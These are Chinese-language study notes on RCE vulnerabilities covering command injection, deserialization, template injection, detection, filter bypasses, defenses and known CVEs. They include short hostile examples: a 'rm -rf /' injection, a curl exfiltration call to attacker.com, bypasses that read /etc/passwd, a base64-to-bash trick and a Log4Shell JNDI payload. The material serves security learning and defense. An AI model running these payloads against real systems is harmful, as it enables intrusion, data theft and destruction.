目录

RCE漏洞

RCE漏洞

RCE漏洞学习笔记

1 基本概念

  • 定义 :攻击者通过漏洞在目标服务器上执行任意命令或代码
  • 危害等级 :高危(直接影响服务器控制权)
  • 常见场景
  • Web应用参数未过滤(如URL、表单、HTTP头)
  • 反序列化漏洞
  • 第三方组件漏洞(如Log4j2、Fastjson)
  • 文件上传 + 解析漏洞

2 RCE漏洞类型

2.1 命令注入(Command Injection)

  • 原理 :通过拼接系统命令执行恶意指令
  • 示例 : php // PHP示例 $ip = $_GET[‘ip’]; system(“ping -c 4 " . $ip); // 攻击者输入:127.0.0.1; rm -rf /
  • 常用Payload : ; command         # Unix分号分隔 | command         # 管道符 && command         # 逻辑与 || command         # 逻辑或 command         # 反引号执行 $(command)         # 子shell执行

2.2 反序列化RCE

  • 原理 :利用反序列化操作触发危险方法(如PHP的__destruct、Java的readObject
  • 经典漏洞
  • Java: Fastjson(CVE-2022-25845)、Jackson
  • Python: Pickle反序列化
  • PHP: Phar反序列化

2.3 模板注入(SSTI)

  • 原理 :模板引擎解析用户输入为代码 python

Flask示例(Jinja2)

@app.route(’/hello/’) def hello(name):   return render_template_string(f’Hello {name}!’)

攻击输入:{{7*7}} → 输出Hello 49!

  • 常见引擎
  • Java: FreeMarker、Velocity
  • Python: Jinja2、Mako
  • PHP: Twig、Smarty

2.4 其他类型

  • 文件包含漏洞php://input + POST代码执行
  • 表达式注入 :SpEL(Spring)、OGNL(Struts2)
  • 内存破坏漏洞 :缓冲区溢出(C/C++程序)

3 实战利用技巧

3.1 检测方法

  • 黑盒测试
  • 输入特殊字符测试命令拼接(; | >等)
  • 使用延时命令判断(如ping -c 4 127.0.0.1sleep 5
  • DNS外带数据检测:curl http://attacker.com/$(whoami)
  • 白盒审计
  • 搜索危险函数: bash

PHP

system(), exec(), passthru(), eval()

Java

Runtime.getRuntime().exec()

Python

os.system(), subprocess.run()

3.2 常用工具

  • 漏洞扫描
  • Burp Suite(手工测试)
  • Nuclei(自动化模板)
  • 利用框架
  • Metasploit(exploit/multi/http/log4shell_rce
  • SQLMap(--os-shell参数)
  • Payload生成
  • (反向Shell生成)
  • (编码转换)

3.3 绕过防御

  • 过滤绕过 : bash

空格绕过

cat</etc/passwd {cat,/etc/passwd} ​

关键字绕过

c\at /etc/passwd c’‘at /etc/passwd

  • 编码绕过 : bash

Base64

echo ‘whoami’ | base64 → d2hvYW1pCg== echo d2hvYW1pCg== | base64 -d | bash


4 防御方案

4.1 输入处理

  • 白名单验证 :限制用户输入格式(如IP地址正则)
  • 敏感字符过滤 :移除; | &等危险符号
  • 参数化处理 :避免直接拼接命令 python

错误方式

os.system(f"ping {ip}”) ​

正确方式(Python示例)

subprocess.run([‘ping’, ‘-c’, ‘4’, ip], check=True)

4.2 安全配置

  • 最小权限原则 :运行服务的用户使用低权限账户
  • 禁用危险函数 : php ; php.ini disable_functions = system, exec, passthru
  • 沙箱隔离 :使用Docker容器或沙箱环境运行不可信代码

4.3 其他防护

  • WAF规则 :拦截常见RCE特征(如/etc/passwdwhoami
  • 日志监控 :记录命令执行行为并设置告警
  • 依赖管理 :及时更新第三方库(如修复Log4j2)

5 经典漏洞案例

  1. Log4j2 RCE(CVE-2021-44228)
  • 利用Payload:${jndi:ldap://attacker.com/exp}
  • 防御:升级到Log4j 2.17.0+
  1. Spring4Shell(CVE-2022-22965)
  • 利用条件:JDK 9+ + Tomcat部署
  • 攻击路径:通过数据绑定修改日志路径上传Webshell
  1. Apache Struts2 RCE(S2-045)
  • 漏洞点:错误处理时的OGNL表达式执行
  • Payload示例:%{(#_='multipart/form-data').(...)}

6 学习资源

  • 靶场练习
  • DVWA(Command Injection模块)
  • PortSwigger Web Security Academy
  • VulnHub漏洞环境
  • 参考资料
  • OWASP Top 10(A03: Injection)
  • 《白帽子讲Web安全》